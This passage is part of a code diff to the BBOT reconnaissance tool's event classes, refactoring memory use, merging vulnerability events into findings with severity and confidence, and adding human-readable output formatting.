-            self.log.trace(traceback.format_exc())
-
-    async def cancel_all_tasks(self):
-        for client_id in list(self.tasks):
-            await self.cancel_task(client_id)
-        for client_id, tasks in self.child_tasks.items():
-            for task in list(tasks):
-                await self._await_cancelled_task(task)
diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py
index 00a03aeed7..215c9f61f9 100644
--- a/bbot/core/event/base.py
+++ b/bbot/core/event/base.py
@@ -1,5 +1,6 @@
 import io
 import re
+import sys
 import uuid
 import json
 import base64
@@ -11,7 +12,9 @@
 
 from pathlib import Path
 from typing import Optional
+from zoneinfo import ZoneInfo
 from copy import copy, deepcopy
+from types import MappingProxyType
 from contextlib import suppress
 from radixtarget import RadixTarget
 from pydantic import BaseModel, field_validator
@@ -21,6 +24,7 @@
 from bbot.errors import *
 from .helpers import EventSeed
 from bbot.core.helpers import (
+    bytes_to_human,
     extract_words,
     is_domain,
     is_subdomain,
@@ -32,6 +36,7 @@
     domain_stem,
     make_netloc,
     make_ip_type,
+    cached_ip_address,
     recursive_decode,
     sha1,
     smart_decode,
@@ -40,12 +45,24 @@
     validators,
     get_file_extension,
 )
+from bbot.models.helpers import utc_datetime_validator
 from bbot.core.helpers.web.envelopes import BaseEnvelope
 
 
 log = logging.getLogger("bbot.core.event")
 
 
+# Shared empty defaults for lazy-init slots. Returned from property accessors
+# when the underlying slot is None — saves ~560 bytes per event compared to
+# allocating real empty containers (set/dict) at __init__ time. Mutating
+# helpers (add_tag, etc.) replace the slot with a real container before
+# mutating, so callers never see the singletons in a mutable position.
+# `_resolved_hosts` has no in-place mutation API — see the resolved_hosts
+# property setter for the assign-once-then-frozen contract.
+_EMPTY_FROZENSET: "frozenset[str]" = frozenset()
+_EMPTY_DICT = MappingProxyType({})
+
+
 class BaseEvent:
     """
     Represents a piece of data discovered during a BBOT scan.
@@ -96,9 +113,10 @@ class BaseEvent:
             "timestamp": 1688526222.723366,
             "resolved_hosts": ["185.199.108.153"],
             "parent": "OPEN_TCP_PORT:cf7e6a937b161217eaed99f0c566eae045d094c7",
-            "tags": ["in-scope", "distance-0", "dir", "ip-185-199-108-153", "status-301", "http-title-301-moved-permanently"],
-            "module": "httpx",
-            "module_sequence": "httpx"
+            "tags": ["in-scope", "distance-0", "dir", "status-301"],
+            "http_title": "301 Moved Permanently",
+            "module": "http",
+            "module_sequence": "http"
         }
         ```
     """
@@ -106,9 +124,10 @@ class BaseEvent:
     # Always emit this event type even if it's not in scope
     _always_emit = False
     # Always emit events with these tags even if they're not in scope
-    _always_emit_tags = ["affiliate", "target"]
+
+    _always_emit_tags = ["affiliate", "seed"]
     # Bypass scope checking and dns resolution, distribute immediately to modules
-    # This is useful for "end-of-line" events like FINDING and VULNERABILITY
+    # This is useful for "end-of-line" events like FINDING
     _quick_emit = False
     # Data validation, if data is a dictionary
     _data_validator = None
@@ -119,6 +138,10 @@ class BaseEvent:
     # Don't allow duplicates to occur within a parent chain
     # In other words, don't emit the event if the same one already exists in its discovery context
     _suppress_chain_dupes = False
+    # Shared compiled regex for discovery context formatting (class-level to avoid per-instance overhead)
+    _discovery_context_regex = re.compile(r"\{(?:event|module)[^}]*\}")
+    # Stats class for the status line — override in subclasses for custom formatting
+    _stats_class = None
 
     # using __slots__ dramatically reduces memory usage in large scans
     __slots__ = [
@@ -147,23 +170,22 @@ class BaseEvent:
         "_graph_important",
         "_resolved_hosts",
         "_discovery_context",
-        "_discovery_context_regex",
         "_stats_recorded",
         "_internal",
-        "_confidence",
         "_dummy",
         "_module",
-        # DNS-related attributes
-        "dns_children",
-        "raw_dns_records",
+        # DNS-related attributes — backing slots; public access via the
+        # ``dns_children`` / ``raw_dns_records`` properties so a None
+        # underlying slot transparently reads as an empty dict (lazy-init
+        # saves ~128 bytes per event).
+        "_dns_children",
+        "_raw_dns_records",
         "dns_resolve_distance",
-        # Web-related attributes
-        "web_spider_distance",
-        "parsed_url",
-        "url_extension",
-        "num_redirects",
-        # File-related attributes
-        "_data_path",
+        # Host metadata (cloud providers, ASN, whois, etc.)
+        "_host_metadata",
+        "_cloudcheck_done",
+        # Memory management
+        "_module_consumers",
         # Public attributes
         "module",
         "scan",
@@ -179,7 +201,6 @@ def __init__(
         module=None,
         scan=None,
         tags=None,
-        confidence=100,
         timestamp=None,
         _dummy=False,
         _internal=None,
@@ -197,7 +218,6 @@ def __init__(
             module (str, optional): Module that discovered the event. Defaults to None.
             scan (Scan, optional): BBOT Scan object. Required unless _dummy is True. Defaults to None.
             tags (list of str, optional): Descriptive tags for the event. Defaults to None.
-            confidence (int, optional): Confidence level for the event, on a scale of 1-100. Defaults to 100.
             timestamp (datetime, optional): Time of event discovery. Defaults to current UTC time.
             _dummy (bool, optional): If True, disables certain data validations. Defaults to False.
             _internal (Any, optional): If specified, makes the event internal. Defaults to None.
@@ -210,7 +230,10 @@ def __init__(
         self._hash = None
         self._data = None
         self.__host = None
-        self._tags = set()
+        # Lazy-init: replaced with a real set/dict on first mutation.
+        # Reading via the property returns a shared empty frozenset/dict
+        # so callers never see None.
+        self._tags = None
         self._port = None
         self._omit = False
         self.__words = None
@@ -222,12 +245,11 @@ def __init__(
         self._scope_distance = None
         self._module_priority = None
         self._graph_important = False
-        self._resolved_hosts = set()
-        self.dns_children = {}
-        self.raw_dns_records = {}
+        self._resolved_hosts = None
+        self._dns_children = None
+        self._raw_dns_records = None
         self._discovery_context = ""
-        self._discovery_context_regex = re.compile(r"\{(?:event|module)[^}]*\}")
-        self.web_spider_distance = 0
+        self._module_consumers = 0
 
         # for creating one-off events without enforcing parent requirement
         self._dummy = _dummy
@@ -245,7 +267,6 @@ def __init__(
             except AttributeError:
                 self.timestamp = datetime.datetime.utcnow()
 
-        self.confidence = int(confidence)
         self._internal = False
 
         # self.scan holds the instantiated scan object (for helpers, etc.)
@@ -257,7 +278,8 @@ def __init__(
             self.data = self._sanitize_data(data)
         except Exception as e:
             log.trace(traceback.format_exc())
-            raise ValidationError(f'Error sanitizing event data "{data}" for type "{self.type}": {e}')
+            data_preview = str(data)[:200] + "..." if len(str(data)) > 200 else str(data)
+            raise ValidationError(f'Error sanitizing event data "{data_preview}" for type "{self.type}": {e}')
 
         if not self.data:
             raise ValidationError(f'Invalid event data "{data}" for type "{self.type}"')
@@ -286,33 +308,50 @@ def data(self):
         return self._data
 
     @property
-    def confidence(self):
-        return self._confidence
-
-    @confidence.setter
-    def confidence(self, confidence):
-        self._confidence = min(100, max(1, int(confidence)))
+    def resolved_hosts(self):
+        if is_ip(self.host):
+            return frozenset({self.host})
+        return self._resolved_hosts if self._resolved_hosts is not None else _EMPTY_FROZENSET
+
+    @resolved_hosts.setter
+    def resolved_hosts(self, value):
+        """Assign ``_resolved_hosts`` as a frozenset (or None for unset).
+
+        Resolved hosts are naturally immutable: there is no in-place mutation
+        API. Callers (typically ``dnsresolve``) build the set locally and then
+        assign it once via this setter, after which the slot holds a
+        ``frozenset`` that downstream consumers can read but cannot modify.
+        """
+        if value is None:
+            self._resolved_hosts = None
+        elif isinstance(value, frozenset):
+            self._resolved_hosts = value
+        else:
+            self._resolved_hosts = frozenset(value)
 
     @property
-    def cumulative_confidence(self):
-        """
-        Considers the confidence of parent events. This is useful for filtering out speculative/unreliable events.
-
-        E.g. an event with a confidence of 50 whose parent is also 50 would have a cumulative confidence of 25.
-
-        A confidence of 100 will reset the cumulative confidence to 100.
-        """
-        if self._confidence == 100 or self.parent is None or self.parent is self:
-            return self._confidence
-        return int(self._confidence * self.parent.cumulative_confidence / 100)
+    def dns_children(self):
+        return self._dns_children if self._dns_children is not None else _EMPTY_DICT
 
     @property
-    def resolved_hosts(self):
-        if is_ip(self.host):
-            return {
-                self.host,
-            }
-        return self._resolved_hosts
+    def raw_dns_records(self):
+        return self._raw_dns_records if self._raw_dns_records is not None else _EMPTY_DICT
+
+    def add_dns_child(self, rdtype, host):
+        """Record a DNS child host under ``rdtype``, lazy-allocating dict + child set."""
+        if self._dns_children is None:
+            self._dns_children = {}
+        existing = self._dns_children.get(rdtype)
+        if existing is None:
+            self._dns_children[rdtype] = {host}
+        else:
+            existing.add(host)
+
+    def set_raw_dns_record(self, rdtype, answers):
+        """Store the raw DNS answer list for ``rdtype``, lazy-allocating the dict."""
+        if self._raw_dns_records is None:
+            self._raw_dns_records = {}
+        self._raw_dns_records[rdtype] = answers
 
     @data.setter
     def data(self, data):
@@ -323,6 +362,18 @@ def data(self, data):
         self._port = None
         self._data = data
 
+    @property
+    def host_metadata(self):
+        try:
+            return self._host_metadata
+        except AttributeError:
+            self._host_metadata = {}
+            return self._host_metadata
+
+    @host_metadata.setter
+    def host_metadata(self, value):
+        self._host_metadata = value
+
     @property
     def internal(self):
         return self._internal
@@ -383,6 +434,13 @@ def host_original(self):
             return self.host
         return self._host_original
 
+    @property
+    def url(self):
+        parsed_url = getattr(self, "parsed_url", None)
+        if parsed_url is not None:
+            return parsed_url.geturl()
+        return ""
+
     @property
     def host_filterable(self):
         """
@@ -401,6 +459,8 @@ def host_filterable(self):
     @property
     def port(self):
         self.host
+        if self._port:
+            return self._port
         if getattr(self, "parsed_url", None):
             if self.parsed_url.port is not None:
                 return self.parsed_url.port
@@ -408,7 +468,6 @@ def port(self):
                 return 443
             elif self.parsed_url.scheme == "http":
                 return 80
-        return self._port
 
     @property
     def netloc(self):
@@ -474,7 +533,7 @@ def _words(self):
 
     @property
     def tags(self):
-        return self._tags
+        return self._tags if self._tags is not None else _EMPTY_FROZENSET
 
     @tags.setter
     def tags(self, tags):
@@ -485,15 +544,19 @@ def tags(self, tags):
             self.add_tag(tag)
 
     def add_tag(self, tag):
-        self._tags.add(tagify(tag))
+        if self._tags is None:
+            self._tags = set()
+        self._tags.add(sys.intern(tagify(tag)))
 
     def add_tags(self, tags):
         for tag in set(tags):
             self.add_tag(tag)
 
     def remove_tag(self, tag):
+        if not self._tags:
+            return
         with suppress(KeyError):
-            self._tags.remove(tagify(tag))
+            self._tags.remove(sys.intern(tagify(tag)))
 
     @property
     def always_emit(self):
@@ -618,12 +681,15 @@ def parent(self, parent):
                     new_scope_distance += 1
             self.scope_distance = new_scope_distance
             # inherit certain tags
+            # inherit seed tag from DNS_NAME_UNRESOLVED -> DNS_NAME only
+            if "seed" in parent.tags and parent.type == "DNS_NAME_UNRESOLVED" and self.type == "DNS_NAME":
+                self.add_tag("seed")
             if hosts_are_same:
                 # inherit web spider distance from parent
                 self.web_spider_distance = getattr(parent, "web_spider_distance", 0)
                 event_has_url = getattr(self, "parsed_url", None) is not None
                 for t in parent.tags:
-                    if t in ("affiliate",):
+                    if t in ("affiliate", "from-wayback", "from-lightfuzz"):
                         self.add_tag(t)
                     elif t.startswith("mutation-"):
                         self.add_tag(t)
@@ -652,6 +718,26 @@ def parent_uuid(self):
             return parent_uuid
         return self._parent_uuid
 
+    @property
+    def archive_url(self):
+        """Traverse the parent chain to find the nearest archive_url.
+
+        The 'from-wayback' tag signals that this event descends from archived content.
+        The actual archive URL is stored only in the data dict of the originating
+        wayback HTTP_RESPONSE; this property walks upward to find it.
+        """
+        if "from-wayback" not in self.tags:
+            return None
+        event = self
+        while event is not None:
+            if isinstance(event.data, dict) and "archive_url" in event.data:
+                return event.data["archive_url"]
+            parent = getattr(event, "parent", None)
+            if parent is None or parent is event:
+                break
+            event = parent
+        return None
+
     @property
     def validators(self):
         """
@@ -692,6 +778,20 @@ def get_parents(self, omit=False, include_self=False):
             e = parent
         return parents
 
+    def _minimize(self):
+        """
+        Called when a module is done processing this event.
+
+        Decrements the consumer count. When no modules are left waiting to
+        process this event, heavy payload data is stripped to free memory.
+        """
+        self._module_consumers = max(0, self._module_consumers - 1)
+        if self._module_consumers <= 0:
+            # release container slots; lazy-init pattern means None == empty
+            self._dns_children = None
+            self._raw_dns_records = None
+            self._resolved_hosts = None
+
     def clone(self):
         # Create a shallow copy of the event first
         cloned_event = copy(self)
@@ -813,11 +913,11 @@ def __contains__(self, other):
                 return True
             # hostnames and IPs
             radixtarget = RadixTarget()
-            radixtarget.insert(self.host)
-            return bool(radixtarget.search(other_event.host))
+            radixtarget.insert(str(self.host))
+            return bool(radixtarget.search(str(other_event.host)))
         return False
 
-    def json(self, mode="json", siem_friendly=False):
+    def json(self, mode="json"):
         """
         Serializes the event object to a JSON-compatible dictionary.
 
@@ -826,7 +926,6 @@ def json(self, mode="json", siem_friendly=False):
 
         Parameters:
             mode (str): Specifies the data serialization mode. Default is "json". Other options include "graph", "human", and "id".
-            siem_friendly (bool): Whether to format the JSON in a way that's friendly to SIEM ingestion by Elastic, Splunk, etc. This ensures the value of "data" is always the same type (a dictionary).
 
         Returns:
             dict: JSON-serializable dictionary representation of the event object.
@@ -843,10 +942,12 @@ def json(self, mode="json", siem_friendly=False):
             data = data_attr
         else:
             data = smart_decode(self.data)
-        if siem_friendly:
-            j["data"] = {self.type: data}
-        else:
+        if isinstance(data, str):
             j["data"] = data
+        elif isinstance(data, dict):
+            j["data_json"] = data
+        else:
+            raise ValueError(f"Invalid data type: {type(data)}")
         # host, dns children
         if self.host:
             j["host"] = str(self.host)
@@ -864,7 +965,7 @@ def json(self, mode="json", siem_friendly=False):
         if self.scan:
             j["scan"] = self.scan.id
         # timestamp
-        j["timestamp"] = self.timestamp.isoformat()
+        j["timestamp"] = utc_datetime_validator(self.timestamp).timestamp()
         # parent event
         parent_id = self.parent_id
         if parent_id:
@@ -873,8 +974,7 @@ def json(self, mode="json", siem_friendly=False):
         if parent_uuid:
             j["parent_uuid"] = parent_uuid
         # tags
-        if self.tags:
-            j.update({"tags": list(self.tags)})
+        j.update({"tags": sorted(self.tags)})
         # parent module
         if self.module:
             j.update({"module": str(self.module)})
@@ -886,6 +986,10 @@ def json(self, mode="json", siem_friendly=False):
         j["discovery_path"] = self.discovery_path
         j["parent_chain"] = self.parent_chain
 
+        # host metadata (cloud providers, ASN, etc.)
+        host_metadata = getattr(self, "host_metadata", None)
+        if host_metadata:
+            j["host_metadata"] = host_metadata
         # parameter envelopes
         parameter_envelopes = getattr(self, "envelopes", None)
         if parameter_envelopes is not None:
@@ -1055,10 +1159,20 @@ def sanitize_data(self, data):
 
 
 class DictEvent(BaseEvent):
+    __slots__ = ["url_extension"]
+
     def sanitize_data(self, data):
         url = data.get("url", "")
         if url:
             self.parsed_url = self.validators.validate_url_parsed(url)
+            # extract url_extension from any dict event with a URL
+            url_path = self.parsed_url.path
+            if url_path:
+                parsed_path_lower = str(url_path).lower()
+                extension = get_file_extension(parsed_path_lower)
+                if extension:
+                    self.url_extension = extension
+                    self.add_tag(f"extension-{extension}")
         return data
 
     def _data_load(self, data):
@@ -1073,13 +1187,13 @@ def _host(self):
             return make_ip_type(self.data["host"])
         else:
             parsed = getattr(self, "parsed_url", None)
-            if parsed is not None:
+            if parsed is not None and parsed.hostname:
                 return make_ip_type(parsed.hostname)
 
 
 class ClosestHostEvent(DictHostEvent):
     # if a host/path/url isn't specified, this event type grabs it from the closest parent
-    # inherited by FINDING and VULNERABILITY
+    # inherited by FINDING
     def __init__(self, *args, **kwargs):
         super().__init__(*args, **kwargs)
         if not self.host:
@@ -1094,9 +1208,10 @@ def __init__(self, *args, **kwargs):
                     parent_path = parent.data.get("path", None)
                     if parent_path is not None:
                         self.data["path"] = parent_path
-                # inherit closest host
+                # inherit closest host+port
                 if parent.host:
                     self.data["host"] = str(parent.host)
+                    self._port = parent.port
                     # we do this to refresh the hash
                     self.data = self.data
                     break
@@ -1105,8 +1220,13 @@ def __init__(self, *args, **kwargs):
             raise ValueError(f"No host was found in event parents: {self.get_parents()}. Host must be specified!")
 
 
-class DictPathEvent(DictEvent):
+class DictPathEvent(DictHostEvent):
+    __slots__ = [
+        "_data_path",
+    ]
+
     def sanitize_data(self, data):
+        data = super().sanitize_data(data)
         new_data = dict(data)
         new_data["path"] = str(new_data["path"])
         file_blobs = getattr(self.scan, "_file_blobs", False)
@@ -1145,6 +1265,24 @@ class ASN(DictEvent):
     _always_emit = True
     _quick_emit = True
 
+    def sanitize_data(self, data):
+        # accept bare int (from make_event(12345, "ASN")) or dict (from JSON round-trip)
+        if isinstance(data, int):
+            data = {"asn": data}
+        if not isinstance(data, dict) or "asn" not in data:
+            raise ValidationError(f"Invalid ASN data (expected dict with 'asn' key): {data}")
+        data["asn"] = int(data["asn"])
+        return data
+
+    def _data_id(self):
+        return str(self.data["asn"])
+
+    def _pretty_string(self):
+        return str(self.data["asn"])
+
+    def _data_human(self):
+        return f"AS{self.data['asn']}"
+
 
 class CODE_REPOSITORY(DictHostEvent):
     _always_emit = True
@@ -1156,11 +1294,14 @@ class _data_validator(BaseModel):
     def _pretty_string(self):
         return self.data["url"]
 
+    def _data_human(self):
+        return self.data["url"]
+
 
 class IP_ADDRESS(BaseEvent):
     def __init__(self, *args, **kwargs):
         super().__init__(*args, **kwargs)
-        ip = ipaddress.ip_address(self.data)
+        ip = cached_ip_address(self.data)
         self.add_tag(f"ipv{ip.version}")
         if ip.is_private:
             self.add_tag("private-ip")
@@ -1170,7 +1311,7 @@ def sanitize_data(self, data):
         return validators.validate_host(data)
 
     def _host(self):
-        return ipaddress.ip_address(self.data)
+        return cached_ip_address(self.data)
 
 
 class DnsEvent(BaseEvent):
@@ -1234,6 +1375,9 @@ def _words(self):
 
 
 class OPEN_TCP_PORT(BaseEvent):
+    # we generally don't care about open ports on affiliates
+    _always_emit_tags = ["seed"]
+
     def sanitize_data(self, data):
         return validators.validate_open_port(data)
 
@@ -1251,19 +1395,31 @@ class OPEN_UDP_PORT(OPEN_TCP_PORT):
     pass
 
 
-class URL_UNVERIFIED(BaseEvent):
+class URL_UNVERIFIED(DictHostEvent):
     _status_code_regex = re.compile(r"^status-(\d{1,3})$")
 
+    __slots__ = [
+        "web_spider_distance",
+        "num_redirects",
+    ]
+
     def __init__(self, *args, **kwargs):
+        self.web_spider_distance = 0
         super().__init__(*args, **kwargs)
         self.num_redirects = getattr(self.parent, "num_redirects", 0)
 
+    def _data_load(self, data):
+        # accept a bare URL string and wrap it into a dict
+        if isinstance(data, str):
+            return {"url": data}
+        return data
+
     def _data_id(self):
-        data = super()._data_id()
+        url = self.url
 
         # remove the querystring for URL/URL_UNVERIFIED events, because we will conditionally add it back in (based on settings)
         if self.__class__.__name__.startswith("URL") and self.scan is not None:
-            prefix = data.split("?")[0]
+            prefix = url.split("?")[0]
 
             # consider spider-danger tag when deduping
             if "spider-danger" in self.tags:
@@ -1279,11 +1435,13 @@ def _data_id(self):
                     cleaned_query = "&".join(
                         f"{key}={','.join(sorted(values))}" for key, values in sorted(query_dict.items())
                     )
-                data = f"{prefix}:{self.parsed_url.scheme}:{self.parsed_url.netloc}:{self.parsed_url.path}:{cleaned_query}"
-        return data
+                url = f"{prefix}:{self.parsed_url.scheme}:{self.parsed_url.netloc}:{self.parsed_url.path}:{cleaned_query}"
+        return url
 
     def sanitize_data(self, data):
-        self.parsed_url = self.validators.validate_url_parsed(data)
+        url = data.get("url", "")
+        self.parsed_url = self.validators.validate_url_parsed(url)
+        data["url"] = self.parsed_url.geturl()
 
         # special handling of URL extensions
         if self.parsed_url is not None:
@@ -1301,9 +1459,28 @@ def sanitize_data(self, data):
         else:
             self.add_tag("endpoint")
 
-        data = self.parsed_url.geturl()
         return data
 
+    @property
+    def pretty_string(self):
+        return self.url
+
+    def _data_human(self):
+        parts = []
+        status = self.http_status
+        if status:
+            parts.append(f"[{status}]")
+        parts.append(self.url)
+        if status and str(status).startswith("3"):
+            location = self.data.get("redirect_location", "")
+            if location:
+                parts.append(f"-> {location}")
+        else:
+            title = self.http_title
+            if title:
+                parts.append(f"- [{title}]")
+        return " ".join(parts)
+
     def add_tag(self, tag):
         self_url = getattr(self, "parsed_url", "")
         self_host = getattr(self, "host", "")
@@ -1351,12 +1528,31 @@ def _host(self):
 
     @property
     def http_status(self):
+        status_code = self.data.get("status_code", 0)
+        if status_code:
+            return int(status_code)
         for t in self.tags:
             match = self._status_code_regex.match(t)
             if match:
                 return int(match.groups()[0])
         return 0
 
+    @property
+    def http_title(self):
+        return self.data.get("http_title", "")
+
+    @http_title.setter
+    def http_title(self, value):
+        self.data["http_title"] = value
+
+    @property
+    def redirect_location(self):
+        return self.data.get("redirect_location", "")
+
+    @redirect_location.setter
+    def redirect_location(self, value):
+        self.data["redirect_location"] = value
+
 
 class URL(URL_UNVERIFIED):
     def __init__(self, *args, **kwargs):
@@ -1367,17 +1563,8 @@ def __init__(self, *args, **kwargs):
                 'Must specify HTTP status tag for URL event, e.g. "status-200". Use URL_UNVERIFIED if the URL is unvisited.'
             )
 
-    @property
-    def resolved_hosts(self):
-        # TODO: remove this when we rip out httpx
-        return {".".join(i.split("-")[1:]) for i in self.tags if i.startswith("ip-")}
 
-    @property
-    def pretty_string(self):
-        return self.data
-
-
-class STORAGE_BUCKET(DictEvent, URL_UNVERIFIED):
+class STORAGE_BUCKET(URL_UNVERIFIED):
     _always_emit = True
     _suppress_chain_dupes = True
 
@@ -1391,6 +1578,9 @@ def sanitize_data(self, data):
         data["name"] = data["name"].lower()
         return data
 
+    def _data_human(self):
+        return f"{self.data['name']} ({self.data['url']})"
+
     def _words(self):
         return self.data["name"]
 
@@ -1400,6 +1590,18 @@ class URL_HINT(URL_UNVERIFIED):
 
 
 class WEB_PARAMETER(DictHostEvent):
+    __slots__ = [
+        "envelopes",
+    ]
+
+    def _minimize(self):
+        super()._minimize()
+        if self._module_consumers <= 0:
+            self._data.pop("original_value", None)
+            self._data.pop("additional_params", None)
+            self._data.pop("assigned_cookies", None)
+            self._data.pop("same_param_values", None)
+
     @property
     def children(self):
         # if we have any subparams, raise a new WEB_PARAMETER for each one
@@ -1421,6 +1623,7 @@ def children(self):
         return children
 
     def sanitize_data(self, data):
+        data = super().sanitize_data(data)
         original_value = data.get("original_value", None)
         if original_value is not None:
             try:
@@ -1454,6 +1657,29 @@ def _outgoing_dedup_hash(self, event):
     def _url(self):
         return self.data["url"]
 
+    def _data_human(self):
+        param_type = self.data.get("type", "")
+        name = self.data.get("name", "")
+        original_value = self.data.get("original_value", "")
+        url = self.data.get("url", "")
+        description = self.data.get("description", "")
+        additional_params = self.data.get("additional_params", {})
+        parts = []
+        if param_type:
+            parts.append(f"[{param_type}]")
+        if original_value:
+            parts.append(f"{name}={original_value}")
+        else:
+            parts.append(name)
+        if description:
+            parts.append(f"- {description}")
+        if additional_params:
+            param_names = ", ".join(sorted(additional_params.keys()))
+            parts.append(f"Additional Params: [{param_names}]")
+        if url:
+            parts.append(f"({url})")
+        return " ".join(parts)
+
     def __str__(self):
         max_event_len = 200
         d = str(self.data)
@@ -1473,7 +1699,7 @@ def _words(self):
         return extract_words(self.host_stem)
 
 
-class HTTP_RESPONSE(URL_UNVERIFIED, DictEvent):
+class HTTP_RESPONSE(URL_UNVERIFIED):
     def __init__(self, *args, **kwargs):
         super().__init__(*args, **kwargs)
         # count number of consecutive redirects
@@ -1481,6 +1707,45 @@ def __init__(self, *args, **kwargs):
         if str(self.http_status).startswith("3"):
             self.num_redirects += 1
 
+        # Spill body to disk if a per-scan store is available. The body
+        # is removed from `_data` so JSON / human renderers don't see it;
+        # readers use the `.body` property which lazy-loads from the store.
+        # When spill is disabled (no store on the scan), body stays in
+        # `_data` and `.body` falls back to reading it from there.
+        store = getattr(getattr(self, "scan", None), "body_spill_store", None)
+        if store is not None and isinstance(self._data, dict) and "body" in self._data:
+            body = self._data.pop("body")
+            if isinstance(body, str):
+                body_bytes = body.encode("utf-8", errors="replace")
+            elif isinstance(body, (bytes, bytearray, memoryview)):
+                body_bytes = bytes(body)
+            else:
+                body_bytes = str(body).encode("utf-8", errors="replace")
+            if body_bytes:
+                store.write(str(self._uuid), body_bytes)
+
+    @property
+    def body(self):
+        """
+        The HTTP response body as a string.
+
+        With spill enabled, the body lives in the per-scan ``BodySpillStore``
+        (LRU cache + disk file). Cache hits are instant; misses re-read
+        from disk. After ``_minimize()`` fires the body is gone and this
+        property returns ``""``.
+
+        With spill disabled, falls back to ``self._data["body"]``.
+        """
+        store = getattr(getattr(self, "scan", None), "body_spill_store", None)
+        if store is None:
+            if isinstance(self._data, dict):
+                return self._data.get("body", "") or ""
+            return ""
+        body_bytes = store.read(str(self._uuid))
+        if not body_bytes:
+            return ""
+        return body_bytes.decode("utf-8", errors="replace")
+
     def _data_id(self):
         return self.data["method"] + "|" + self.data["url"]
 
@@ -1518,14 +1783,47 @@ def _words(self):
     def _pretty_string(self):
         return f"{self.data['hash']['header_mmh3']}:{self.data['hash']['body_mmh3']}"
 
+    def _data_human(self):
+        parts = []
+        status = self.http_status
+        if status:
+            parts.append(f"[{status}]")
+        method = self.data.get("method", "")
+        if method:
+            parts.append(method)
+        parts.append(self.data.get("url", ""))
+        if status and str(status).startswith("3"):
+            location = self.redirect_location
+            if location:
+                parts.append(f"-> {location}")
+        else:
+            title = self.http_title
+            if title:
+                parts.append(f"- [{title}]")
+        content_length = self.data.get("content_length", 0)
+        if content_length:
+            parts.append(f"({bytes_to_human(content_length)})")
+        return " ".join(parts)
+
+    def _minimize(self):
+        super()._minimize()
+        if self._module_consumers <= 0:
+            store = getattr(getattr(self, "scan", None), "body_spill_store", None)
+            if store is not None:
+                store.evict_and_delete(str(self._uuid))
+            # `body` may still be in _data if spill was disabled at creation
+            self._data.pop("body", None)
+            self._data.pop("raw_header", None)
+            self._data.pop("header", None)
+            self._data.pop("cert_info", None)
+
     @property
     def raw_response(self):
         """
         Formats the status code, headers, and body into a single string formatted as an HTTP/1.1 response.
         """
         raw_header = self.data.get("raw_header", "")
-        body = self.data.get("body", "")
-        return f"{raw_header}{body}"
+        return f"{raw_header}{self.body}"
 
     @property
     def http_status(self):
@@ -1556,49 +1854,126 @@ def redirect_location(self):
         return location
 
 
-class VULNERABILITY(ClosestHostEvent):
+class FINDING(ClosestHostEvent):
     _always_emit = True
     _quick_emit = True
-    severity_colors = {
-        "CRITICAL": "🟪",
-        "HIGH": "🟥",
-        "MEDIUM": "🟧",
+
+    class _stats_class:
+        _severity_order = ["CRITICAL", "HIGH", "MEDIUM", "LOW", "INFO"]
+
+        def __init__(self):
+            self.count = 0
+            self.severities = {}
+
+        def increment(self, event):
+            self.count += 1
+            sev = event.data.get("severity", "UNKNOWN")
+            try:
+                self.severities[sev] += 1
+            except KeyError:
+                self.severities[sev] = 1
+
+        def format(self, event_type):
+            if not self.severities:
+                return f"{event_type}: {self.count}"
+            parts = []
+            for sev in self._severity_order:
+                n = self.severities.get(sev, 0)
+                if n:
+                    parts.append(f"{n} {sev}")
+            for sev, n in sorted(self.severities.items()):
+                if sev not in self._severity_order and n:
+                    parts.append(f"{n} {sev}")
+            return f"{event_type}: {self.count} ({', '.join(parts)})"
+
+    # Standard finding color palette. Single source of truth for every output module.
+    # Severity selects the hue (blue, yellow, orange, red, purple); confidence dims it.
+    severity_colors_rgb = {
+        "INFO": (113, 161, 255),
+        "LOW": (255, 215, 0),
+        "MEDIUM": (255, 135, 0),
+        "HIGH": (255, 0, 0),
+        "CRITICAL": (207, 0, 255),
+    }
+    confidence_brightness = {
+        "CONFIRMED": 1.00,
+        "HIGH": 0.88,
+        "MEDIUM": 0.77,
+        "LOW": 0.66,
+        "UNKNOWN": 0.55,
+    }
+
+    # emoji rendering of the same palette, for chat-based output (Slack, Discord, Teams)
+    severity_colors_emoji = {
+        "INFO": "🟦",
         "LOW": "🟨",
-        "UNKNOWN": "⬜",
+        "MEDIUM": "🟧",
+        "HIGH": "🟥",
+        "CRITICAL": "🟪",
+    }
+    confidence_colors_emoji = {
+        "CONFIRMED": "🟣",
+        "HIGH": "🔴",
+        "MEDIUM": "🟠",
+        "LOW": "🟡",
+        "UNKNOWN": "⚪",
+    }
+
+    # Adaptive Card style names for Microsoft Teams output
+    severity_card_colors = {
+        "CRITICAL": "Attention",
+        "HIGH": "Attention",
+        "MEDIUM": "Warning",
+        "LOW": "Good",
+        "INFO": "Accent",
     }
 
     def sanitize_data(self, data):
-        self.add_tag(data["severity"].lower())
+        data = super().sanitize_data(data)
+        self.add_tag(f"severity-{data['severity'].lower()}")
+        self.add_tag(f"confidence-{data['confidence'].lower()}")
         return data
 
     class _data_validator(BaseModel):
         host: Optional[str] = None
         severity: str
+        name: str
         description: str
+        confidence: str
         url: Optional[str] = None
+        full_url: Optional[str] = None
         path: Optional[str] = None
+        cves: Optional[list[str]] = None
+        archive_url: Optional[str] = None
         _validate_url = field_validator("url")(validators.validate_url)
         _validate_host = field_validator("host")(validators.validate_host)
         _validate_severity = field_validator("severity")(validators.validate_severity)
+        _validate_confidence = field_validator("confidence")(validators.validate_confidence)
 
     def _pretty_string(self):
-        return f"[{self.data['severity']}] {self.data['description']}"
-
+        severity = self.data["severity"]
+        confidence = self.data["confidence"]
+        description = self.data["description"]
 
-class FINDING(ClosestHostEvent):
-    _always_emit = True
-    _quick_emit = True
-
-    class _data_validator(BaseModel):
-        host: Optional[str] = None
-        description: str
-        url: Optional[str] = None
-        path: Optional[str] = None
-        _validate_url = field_validator("url")(validators.validate_url)
-        _validate_host = field_validator("host")(validators.validate_host)
+        # Add bold formatting for CONFIRMED confidence
+        if confidence == "CONFIRMED":
+            confidence_str = f"[\033[1m{confidence}\033[0m]"
+        else:
+            confidence_str = f"[{confidence}]"
+        return f"Severity: [{severity}] Confidence: {confidence_str} {description}"
 
-    def _pretty_string(self):
-        return self.data["description"]
+    def _data_human(self):
+        parts = []
+        parts.append(f"Severity: [{self.data['severity']}]")
+        parts.append(f"Confidence: [{self.data['confidence']}]")
+        parts.append(self.data["description"])
+        url = self.data.get("url", "")
+        if url and url not in self.data["description"]:
+            parts.append(f"({url})")
+        cves = self.data.get("cves", [])
+        if cves:
+            parts.append(f"[{', '.join(cves)}]")
+        return " ".join(parts)
 
 
